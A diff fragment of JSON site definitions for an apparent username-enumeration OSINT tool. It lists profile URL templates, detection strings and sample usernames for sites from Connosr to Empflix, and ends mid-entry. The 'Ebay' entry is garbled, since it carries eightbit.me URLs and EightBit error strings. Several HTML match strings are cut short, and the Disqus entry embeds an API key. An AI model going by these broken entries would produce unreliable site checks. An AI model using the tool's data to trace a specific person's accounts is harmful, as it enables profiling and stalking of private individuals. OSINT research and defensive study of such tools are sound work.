"usernameUnclaimed": "noonewouldeverusethis7" + }, + "Connosr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1058804, + "urlMain": "https://www.connosr.com/", + "url": "https://www.connosr.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cont": { + "tags": [ + "be", + "ru" + ], + "checkType": "status_code", + "alexaRank": 18112, + "urlMain": "https://cont.ws", + "url": "https://cont.ws/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Contently": { + "tags": [ + "freelance", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Request A Meeting
    " + ], + "presenseStrs": [ + "

    \nPROJECTS" + ], + "alexaRank": 11587, + "urlMain": "https://contently.com/", + "url": "https://{username}.contently.com/", + "usernameClaimed": "jordanteicher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coolminiornot": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "vBulletin", + "alexaRank": 373915, + "urlMain": "http://www.coolminiornot.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coroflot": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 33281, + "urlMain": "https://coroflot.com/", + "url": "https://www.coroflot.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coub": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6885, + "urlMain": "https://coub.com/", + "url": "https://coub.com/{username}", + "usernameClaimed": "meteoralp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Countable": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 9282301, + "urlMain": "https://www.countable.us/", + "url": "https://www.countable.us/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cqham": { + "tags": [ + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 187054, + "urlMain": "http://www.cqham.ru", + "url": "http://www.cqham.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cracked": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4090, + "urlMain": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{username}/", + "errorUrl": "https://www.cracked.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "CreativeMarket": { + "tags": [ + "art", + "stock" + ], + "errors": { + "/cdn-cgi/scripts/hcaptcha.challenge.js": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Whoomp, there it isn't...", + "It looks like the page you\u2019re looking for is no longer available. " + ], + "presenseStrs": [ + "Likes" + ], + "alexaRank": 3054, + "urlMain": "https://creativemarket.com/", + "url": "https://creativemarket.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crevado": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 170085, + "urlMain": "https://crevado.com/", + "url": "https://{username}.crevado.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crossfire": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430" + ], + "alexaRank": 49, + "urlMain": "https://cfire.mail.ru", + "url": "https://cfire.mail.ru/forums/member.php?username={username}", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crunchyroll": { + "disabled": true, + "tags": [ + "forum", + "movies", + "us" + ], + "headers": { + "'User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0" + }, + "checkType": "status_code", + "alexaRank": 364, + "urlMain": "https://www.crunchyroll.com/", + "url": "https://www.crunchyroll.com/user/{username}", + "usernameClaimed": "adan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CryptomatorForum": { + "checkType": "status_code", + "url": "https://community.cryptomator.org/u/{username}", + "usernameClaimed": "michael", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cssomsk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.cssomsk.ru", + "usernameClaimed": "spacebody", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7312355 + }, + "Cults3d": { + "checkType": "message", + "absenceStrs": [ + "Oh dear, this page is not working!" + ], + "presenseStrs": [ + "All the 3D models of" + ], + "url": "https://cults3d.com/en/users/{username}/creations", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cyberclock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "urlMain": "https://cyberclock.cc", + "url": "https://cyberclock.cc/forum/member.php?username={username}", + "usernameClaimed": "Lich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cydak": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.cydak.ru", + "url": "http://www.cydak.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Henders", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cytoid.io": { + "checkType": "message", + "absenceStrs": [ + "Profile not found" + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://cytoid.io/profile/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3.ru": { + "checkType": "message", + "absenceStrs": [ + "d3.ru \u2014 \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "presenseStrs": [ + "/user/" + ], + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dangerousthings.com": { + "checkType": "status_code", + "url": "https://forum.dangerousthings.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Demotywatory": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik o podanym pseudonimie nie istnieje." + ], + "presenseStrs": [ + "Z nami od:" + ], + "url": "https://demotywatory.pl/user/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DEV Community": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 4668, + "urlMain": "https://dev.to/", + "url": "https://dev.to/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dojoverse": { + "checkType": "message", + "absenceStrs": [ + "Looks like you got lost!." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://dojoverse.com/members/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DSLReports": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Kudos Received" + ], + "absenceStrs": [ + "alert:" + ], + "alexaRank": 42786, + "urlMain": "https://www.dslreports.com", + "url": "https://www.dslreports.com/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DTF": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 " + ], + "alexaRank": 16528, + "urlMain": "https://dtf.ru", + "url": "https://dtf.ru/search/v2/subsite/relevant?query={username}&strict=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DailyMotion": { + "tags": [ + "video" + ], + "checkType": "message", + "presenseStrs": [ + " style=", + "", + "og:title", + "Twitter", + "og:site_name" + ], + "alexaRank": 263, + "urlMain": "https://www.dailymotion.com", + "url": "https://www.dailymotion.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "rstnodkwzr", + "absenceStrs": [ + "Page not found", + "profile", + "error404", + "bodyall", + "No matches found" + ], + "headers": { + "User-Agent": "" + } + }, + "Dalnoboi": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435.": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1020831, + "urlMain": "https://www.dalnoboi.ru", + "url": "https://www.dalnoboi.ru/phpBB3/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "stommof", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Damochka": { + "disabled": true, + "tags": [ + "kz", + "ru" + ], + "checkType": "status_code", + "alexaRank": 572128, + "urlMain": "https://www.damochka.ru", + "url": "https://www.damochka.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Darkside": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8725117, + "urlMain": "https://darkside.black", + "usernameClaimed": "soldier", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dasauge": { + "tags": [ + "de", + "pk" + ], + "checkType": "status_code", + "alexaRank": 1099149, + "urlMain": "https://dasauge.co.uk", + "url": "https://dasauge.co.uk/-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dating.Ru": { + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 74812, + "urlMain": "http://dating.ru", + "url": "http://dating.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Datpiff": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 38454, + "urlMain": "https://www.datpiff.com", + "url": "https://www.datpiff.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Davesgarden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 45380, + "urlMain": "https://davesgarden.com", + "url": "https://davesgarden.com/members/{username}/", + "usernameClaimed": "Gail", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dcpg": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 905001, + "urlMain": "https://dcpg.ru/", + "url": "https://dcpg.ru/users/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ddo": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 105195, + "urlMain": "https://www.ddo.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DefenceForumIndia": { + "tags": [ + "forum", + "in", + "military" + ], + "engine": "XenForo", + "alexaRank": 445137, + "urlMain": "https://defenceforumindia.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "DefensiveCarry": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 309817, + "urlMain": "https://www.defensivecarry.com", + "url": "https://www.defensivecarry.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Demonscity": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 90420, + "urlMain": "http://demonscity.combats.com", + "url": "http://demonscity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Derevnyaonline": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 2116602, + "urlMain": "https://derevnyaonline.ru", + "url": "https://derevnyaonline.ru/user/{username}", + "usernameClaimed": "coolkrictina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Designspiration": { + "checkType": "status_code", + "urlMain": "https://www.designspiration.net/", + "url": "https://www.designspiration.net/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 461605 + }, + "Destructoid": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Error in query" + ], + "alexaRank": 25063, + "urlMain": "https://www.destructoid.com", + "url": "https://www.destructoid.com/?name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Desu": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 301233, + "urlMain": "https://desu.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Detstrana": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 342949, + "urlMain": "https://detstrana.ru", + "url": "https://detstrana.ru/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DeviantART": { + "tags": [ + "art", + "photo" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 508, + "urlMain": "https://deviantart.com", + "url": "https://{username}.deviantart.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Devtribe": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1454122, + "urlMain": "https://devtribe.ru", + "url": "https://devtribe.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diary.ru": { + "tags": [ + "blog", + "nl", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " — @\u0434\u043d\u0435\u0432\u043d\u0438\u043a\u0438: \u0430\u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0435\u0442\u044c" + ], + "alexaRank": 11301, + "urlMain": "https://diary.ru", + "url": "https://{username}.diary.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalOcean": { + "tags": [ + "forum", + "in", + "tech" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 2418, + "urlMain": "https://www.digitalocean.com/", + "url": "https://www.digitalocean.com/community/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalPoint": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://www.digitalpoint.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Digitalspy": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 5608, + "urlMain": "https://forums.digitalspy.com/", + "url": "https://forums.digitalspy.com/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diigo": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 8076, + "urlMain": "https://www.diigo.com/", + "url": "https://www.diigo.com/interact_api/load_profile_info?name={username}", + "usernameClaimed": "markmark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dinsk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "urlMain": "https://dinsk.su", + "url": "https://dinsk.su/user/{username}", + "usernameClaimed": "dinsk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discogs": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1040, + "urlMain": "https://www.discogs.com/", + "url": "https://www.discogs.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscoursePi-hole": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 86634, + "urlMain": "https://discourse.pi-hole.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discuss.Elastic.co": { + "tags": [ + "forum", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 5765, + "urlMain": "https://discuss.elastic.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscussPython": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 1051, + "urlMain": "https://discuss.python.org/", + "usernameClaimed": "dustin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discussfastpitch": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1042099, + "urlMain": "https://www.discussfastpitch.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Disqus": { + "tags": [ + "discussion" + ], + "errors": { + "Invalid API key": "New API key needed" + }, + "regexCheck": "^[^/]+$", + "urlProbe": "https://disqus.com/api/3.0/users/details?user=username%3A{username}&attach=userFlaggedUser&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "checkType": "status_code", + "presenseStrs": [ + "https://disqus.com/api/users/" + ], + "absenceStrs": [ + "User matching query does not exist" + ], + "alexaRank": 850, + "urlMain": "https://disqus.com/", + "url": "https://disqus.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dissenter": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 56922, + "urlMain": "https://dissenter.com/", + "url": "https://dissenter.com/user/{username}", + "usernameClaimed": "meatballs", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Diveforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 4405379, + "urlMain": "https://diveforum.spb.ru/", + "url": "https://diveforum.spb.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Djangoproject.co": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://forum.djangoproject.co", + "usernameClaimed": "mikhail349", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dmyt": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 630908, + "urlMain": "https://dmyt.ru", + "url": "https://dmyt.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tim308", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dobroeslovo": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3587216, + "urlMain": "http://www.dobroeslovo.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Docker Hub": { + "tags": [ + "coding" + ], + "urlProbe": "https://hub.docker.com/v2/users/{username}/", + "checkType": "status_code", + "alexaRank": 2797, + "urlMain": "https://hub.docker.com/", + "url": "https://hub.docker.com/u/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dogster": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 3353807, + "urlMain": "http://dogster.ru/", + "url": "http://dogster.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "domestika.org": { + "tags": [ + "education" + ], + "checkType": "status_code", + "usernameClaimed": "zenzuke", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.domestika.org", + "url": "https://www.domestika.org/{username}" + }, + "DonatePay": { + "tags": [ + "finance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 153959, + "urlMain": "https://donatepay.ru/", + "url": "https://donatepay.ru/don/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DonationsAlerts": { + "tags": [ + "finance", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "/img/404.svg" + ], + "alexaRank": 19188, + "urlMain": "https://www.donationalerts.com/", + "url": "https://www.donationalerts.com/r/{username}", + "usernameClaimed": "r3dhunt", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dota2": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442", + "\u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d", + "

    \u041f\u043e\u0438\u0441\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d

    " + ], + "alexaRank": 54365, + "urlMain": "https://dota2.ru/", + "url": "https://dota2.ru/forum/search?type=user&keywords={username}&sort_by=username", + "usernameClaimed": "farts", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dou": { + "tags": [ + "ua" + ], + "checkType": "status_code", + "alexaRank": 35065, + "urlMain": "https://dou.ua/", + "url": "https://dou.ua/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamstime": { + "tags": [ + "art", + "photo", + "stock" + ], + "checkType": "status_code", + "alexaRank": 670, + "urlMain": "https://www.dreamstime.com", + "url": "https://www.dreamstime.com/{username}_info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dreamwidth": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "isn't currently registered" + ], + "alexaRank": 24540, + "urlMain": "https://dreamwidth.org/profile", + "url": "https://{username}.dreamwidth.org/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dribbble": { + "tags": [ + "business", + "in" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "message", + "absenceStrs": [ + "Whoops, that page is gone." + ], + "alexaRank": 1517, + "urlMain": "https://dribbble.com/", + "url": "https://dribbble.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Droidforums": { + "tags": [ + "forum", + "in", + "us" + ], + "errors": { + "You must be logged-in to do that.": "Login required" + }, + "engine": "XenForo", + "alexaRank": 77738, + "urlMain": "http://www.droidforums.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Droners": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 150041, + "urlMain": "https://droners.io", + "url": "https://droners.io/accounts/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dublikat": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d." + ], + "urlMain": "https://www.dublikat.shop", + "url": "https://my.dublikat.pro/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Dumpz": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 2204947, + "urlMain": "https://dumpz.ws", + "usernameClaimed": "emailx45", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duno": { + "disabled": true, + "tags": [ + "in", + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "this user does not exist" + ], + "alexaRank": 570063, + "urlMain": "https://www.duno.com/", + "url": "https://www.duno.com/profile.php?pl={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Duolingo": { + "tags": [ + "us" + ], + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={username}", + "checkType": "message", + "absenceStrs": [ + "{\"users\":[]}" + ], + "alexaRank": 578, + "urlMain": "https://duolingo.com/", + "url": "https://www.duolingo.com/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "E621": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + " Not Found" + ], + "presenseStrs": [ + "<title> User" + ], + "alexaRank": 22598, + "urlMain": "https://e621.net", + "url": "https://e621.net/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ESET": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 24492, + "urlMain": "https://forum.esetnod32.ru", + "url": "https://forum.esetnod32.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "EasyEDA": { + "tags": [ + "de", + "in", + "mx", + "us" + ], + "checkType": "status_code", + "alexaRank": 33098, + "urlMain": "https://easyeda.com", + "url": "https://easyeda.com/{username}/topics", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ebay": { + "tags": [ + "shopping", + "us" + ], + "errors": { + "<title>Security Measure": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "Positive feedback" + ], + "absenceStrs": [ + "EightBit: 404 Error" + ], + "urlMain": "http://eightbit.me/", + "url": "http://eightbit.me/{username}", + "usernameClaimed": "Jerrymej", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 301125 + }, + "Elakiri": { + "tags": [ + "lk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 31670, + "urlMain": "https://elakiri.com", + "url": "https://elakiri.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elftown": { + "checkType": "message", + "absenceStrs": [ + "is an unknown" + ], + "presenseStrs": [ + "created:" + ], + "url": "http://elftown.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Elixirforum": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "alexaRank": 107170, + "urlMain": "https://elixirforum.com", + "usernameClaimed": "clmay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ello": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "We couldn't find the page you're looking for" + ], + "alexaRank": 15390, + "urlMain": "https://ello.co/", + "url": "https://ello.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Elwo": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 452717, + "urlMain": "https://elwo.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Empflix": { + "tags": [ + "de", + "fr", + "porn" + ], + "checkType": "response_url", + "alexaRank": 12547, + "urlMain": 